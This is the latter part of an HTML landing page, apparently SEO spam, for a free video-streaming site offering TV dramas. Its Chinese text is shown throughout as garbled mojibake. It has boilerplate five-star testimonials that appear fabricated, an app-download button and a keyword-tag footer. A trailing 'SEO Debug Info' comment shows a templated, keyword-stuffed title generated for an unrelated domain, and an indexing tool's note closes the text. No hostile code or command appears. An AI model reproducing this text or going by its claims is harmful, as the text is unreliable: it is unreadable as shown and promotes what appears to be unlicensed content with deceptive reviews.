mb-3">ç²¾åå¨çº¿ç²¾é</h3> 488 <p class="text-gray-400 text-sm leading-relaxed">ä¸ä¸ç¼è¾æ¯æ¥ç²¾éå½äº§çæãé«åå½±è§ä½åï¼åä¸çµè§å§å è´¹å®æ´ç宿¶æ´æ°ãç²¾åå¨çº¿æ¨èï¼è®©æ¨ä¸éè¿æ¯ä¸é¨ç²¾å½©è§é¢ã</p> 489 </div> 490 <div class="glass-card p-6 md:p-8 text-center md:text-left"> 491 <div class="feature-icon-wrap mx-auto md:mx-0 mb-5"> 492 <i class="fas fa-shield-alt"></i> 493 </div> 494 <h3 class="text-xl font-bold text-white mb-3">æ²æµ¸è§å½±ä½éª</h3> 495 <p class="text-gray-400 text-sm leading-relaxed">髿¸ æ£çå è´¹çï¼é¶å¹¿åå¹²æ°ï¼ç 享æè´è§çå¹³å°ã䏿åå¹å®æ´åç°ï¼åä¸çµè§å§å è´¹å ¨éææ¾ï¼å¸¦æ¨è¿å ¥çº¯ç²¹çå½±è§ä¸çã</p> 496 </div> 497 </div> 498 </section> 499 500 <!-- ===== Testimonials ç¨æ·è¯ä»· ===== --> 501 <section class="relative px-4 md:px-10 py-16 max-w-7xl mx-auto"> 502 <div class="text-center mb-14">
503 <span class="inline-block px-4 py-1.5 rounded-full bg-gold/10 text-gold text-sm font-semibold tracking-wide mb-4"><i class="fas fa-comments mr-2"></i>ç¨æ·å£ç¢</span> 504 <h2 class="text-3xl md:text-4xl font-extrabold text-white">æ¥èªçå®ç¨æ·çè¯ä»·</h2> 505 <p class="text-gray-400 mt-4 max-w-2xl mx-auto text-base md:text-lg">è¶ è¿1250ä¸ç¨æ·éæ©äºæè¾°å½±é¢ï¼å¬å¬ä»ä»¬æä¹è¯´ã</p> 506 </div> 507 <div class="grid grid-cols-1 md:grid-cols-3 gap-6 md:gap-8"> 508 <div class="testimonial-card"> 509 <div class="stars mb-4 text-lg"> 510 <i class="fas fa-star"></i> 511 <i class="fas fa-star"></i> 512 <i class="fas fa-star"></i> 513 <i class="fas fa-star"></i> 514 <i class="fas fa-star"></i> 515 </div> 516 <p class="text-gray-300 text-sm leading-relaxed mb-6">åä¸çµè§å§çç太精彩äºï¼æè¾°å½±é¢å¯ä»¥å è´¹çå ¨éï¼é«æ¸ ç»è´¨é常æ£ï¼ä¸æå广¸ æ°ï¼å®å ¨æ²¡æå¹¿åå¹²æ°ï¼å¼ºçæ¨èç»ææå欢å½äº§çæå§çæåï¼</p> 517 <div class="flex items-center gap-3"> 518 <div class="w-10 h-10 rounded-full bg-gold/20 flex items-center justify-center text-gold font-bold">å¼ </div> 519 <div> 520 <p class="text-white font-semibold text-sm">å¼ å ç</p> 521 <span class="text-gray-500 text-xs">èµæ·±å½±è§ç±å¥½è </span> 522 </div> 523 </div> 524 </div> 525 <div class="testimonial-card"> 526 <div class="stars mb-4 text-lg"> 527 <i class="fas fa-star"></i> 528 <i class="fas fa-star"></i> 529 <i class="fas fa-star"></i> 530 <i class="fas fa-star"></i> 531 <i class="fas fa-star"></i> 532 </div> 533 <p class="text-gray-300 text-sm leading-relaxed mb-6">ä½ä¸ºä¸ä¸ªå½±è§å¤§å ¨ç±å¥½è ï¼æè¾°å½±é¢æ¯æçé¦éè§çå¹³å°ãåä¸çµè§å§å è´¹å®æ´çæ´æ°è¶ å¿«ï¼è¿ææµ·éæ¥é©è§é¢å欧ç¾è§é¢ï¼å ¨é¨å è´¹ï¼ç¨æ·ä½éªè¶ 级æ£ï¼</p> 534 <div class="flex items-center gap-3"> 535 <div class="w-10 h-10 rounded-full bg-gold/20 flex items-center justify-center text-gold font-bold">æ</div> 536 <div> 537 <p class="text-white font-semibold text-sm">æå¥³å£«</p> 538 <span class="text-gray-500 text-xs">追å§è¾¾äºº</span> 539 </div> 540 </div> 541 </div> 542 <div class="testimonial-card"> 543 <div class="stars mb-4 text-lg"> 544 <i class="fas fa-star"></i> 545 <i class="fas fa-star"></i> 546 <i class="fas fa-star"></i> 547 <i class="fas fa-star"></i> 548 <i class="fas fa-star"></i> 549 </div> 550 <p class="text-gray-300 text-sm leading-relaxed mb-6">å¨æè¾°å½±é¢è¿½åä¸çµè§å§ï¼æ¯å¤©æ´æ°é½è½ç¬¬ä¸æ¶é´è§çï¼ä¸æåå¹éå¸¸æ¸ æ°ï¼å è´¹å®æ´ç太è¯å¿äºï¼é«æ¸ å¨çº¿ææ¾æµç ï¼ææ°è§é¢åºæå°½æï¼è¿ææ¯çæ£çè§çå¹³å°ï¼</p> 551 <div class="flex items-center gap-3"> 552 <div class="w-10 h-10 rounded-full bg-gold/20 flex items-center justify-center text-gold font-bold">ç</div> 553 <div> 554 <p class="text-white font-semibold text-sm">çåå¦</p> 555 <span class="text-gray-500 text-xs">卿 ¡å¤§å¦ç</span> 556 </div> 557 </div> 558 </div> 559 </div> 560 </section> 561 562 <!-- ===== CTA åºé¨å¬å¤ ===== --> 563 <section class="relative px-4 md:px-10 py-16 max-w-7xl mx-auto"> 564 <div class="bg-gradient-cta p-8 md:p-16 rounded-3xl flex flex-col lg:flex-row items-center justify-between gap-10 glow-gold"> 565 <div class="text-center lg:text-left max-w-xl">
566 <span class="inline-block px-4 py-1.5 rounded-full bg-gold/10 text-gold text-sm font-semibold tracking-wide mb-4"><i class="fas fa-bolt mr-2"></i>ç«å³ä½éª</span> 567 <h2 class="text-3xl md:text-4xl font-extrabold text-white leading-tight">ç«å³ä¸è½½æè¾°å½±é¢<br class="hidden md:block"/>ç 享åä¸çµè§å§ <span class="text-gold">å è´¹å ¨é</span></h2> 568 <p class="text-gray-300 mt-4 text-base md:text-lg">髿¸ å¨çº¿è§çï¼å ¨é¨å è´¹ï¼ä¸æåå¹ï¼å½äº§çæé«åå½±è§ä½åä¸ç«å¼è§çå¹³å°ã精彩è§é¢ä¸å®¹éè¿ï¼ç«å³å¼å¯æ¨çå½±è§ä¹æ ã</p> 569 <div class="flex flex-wrap gap-4 mt-8 justify-center lg:justify-start"> 570 <button class="btn-gold text-base md:text-lg px-8 py-4"> 571 <i class="fas fa-download mr-2"></i> å è´¹ä¸è½½APP 572 </button> 573 <button class="btn-outline text-base md:text-lg px-8 py-4"> 574 <i class="fas fa-play mr-2"></i> å¨çº¿è§ç 575 </button> 576 </div> 577 <p class="text-xs text-gray-500 mt-6"><i class="fas fa-shield-alt text-gold mr-1.5"></i>å ¨é¨å è´¹ · 髿¸ æ£ç · é¶å¹¿å · 䏿åå¹</p> 578 </div> 579 <div class="flex-shrink-0"> 580 <div class="w-48 h-48 md:w-64 md:h-64 rounded-full bg-gold/5 border border-gold/10 flex items-center justify-center animate-pulse-gold"> 581 <i class="fas fa-play-circle text-7xl md:text-8xl text-gold/80"></i> 582 </div> 583 </div> 584 </div> 585 </section> 586 587 <!-- ===== Footer çæä¿¡æ¯ ===== --> 588 <footer class="relative px-4 md:px-10 py-10 max-w-7xl mx-auto border-t border-white/5"> 589 <div class="flex flex-col md:flex-row items-center justify-between gap-6"> 590 <div class="flex items-center gap-3"> 591 <i class="fas fa-play-circle text-gold text-xl"></i> 592 <span class="text-lg font-bold text-white">æè¾°å½±é¢</span> 593 </div> 594 <div class="flex flex-wrap gap-5 md:gap-8 text-sm"> 595 <span class="footer-link">å ³äºæä»¬</span> 596 <span class="footer-link">èç³»æä»¬</span> 597 <span class="footer-link">éç§æ¿ç</span> 598 <span class="footer-link">æå¡æ¡æ¬¾</span> 599 <span class="footer-link">帮å©ä¸å¿</span> 600 </div> 601 <div class="text-gray-500 text-xs md:text-sm text-center md:text-right"> 602 <p>© 2025 æè¾°å½±é¢ · åä¸çµè§å§å è´¹ææ¾å¹³å°</p> 603 <p class="mt-1">髿¸ å¨çº¿ · å ¨é¨å è´¹ · 䏿åå¹ Â· å½äº§çæ</p> 604 </div> 605 </div> 606 <div class="mt-8 pt-6 border-t border-white/5 flex flex-wrap justify-center gap-4 text-xs text-gray-600"> 607 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>髿¸ æ£çå è´¹ç</span> 608 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>å½±è§å¤§å ¨</span> 609 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>å½äº§è§é¢</span> 610 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>æ¥é©è§é¢</span> 611 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>欧ç¾è§é¢</span> 612 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>çé¨çµå½±</span> 613 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>ææ°è§é¢</span> 614 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>å½±è§èµæº</span> 615 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>精彩è§é¢</span> 616 <span><i class="fas fa-check-circle text-gold/40 mr-1"></i>è§çå¹³å°</span> 617 </div> 618 </footer> 619 620</body> 621</html> 622``` 623<!-- SEO Debug Info: 624Domain: rfidexpo.com.cn 625Page ID: 1745 626Keywords Picked: 627Title Template Used: 99erå¨çº¿è§çè§é¢é«æ¸ ææ¾_å ¨ç½ææ°99erå½±è§èµæºå è´¹çæ å¹¿å 628Final Title: 99erå¨çº¿è§çè§é¢é«æ¸ ææ¾_å ¨ç½ææ°99erå½±è§èµæºå è´¹çæ å¹¿å 629-->
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.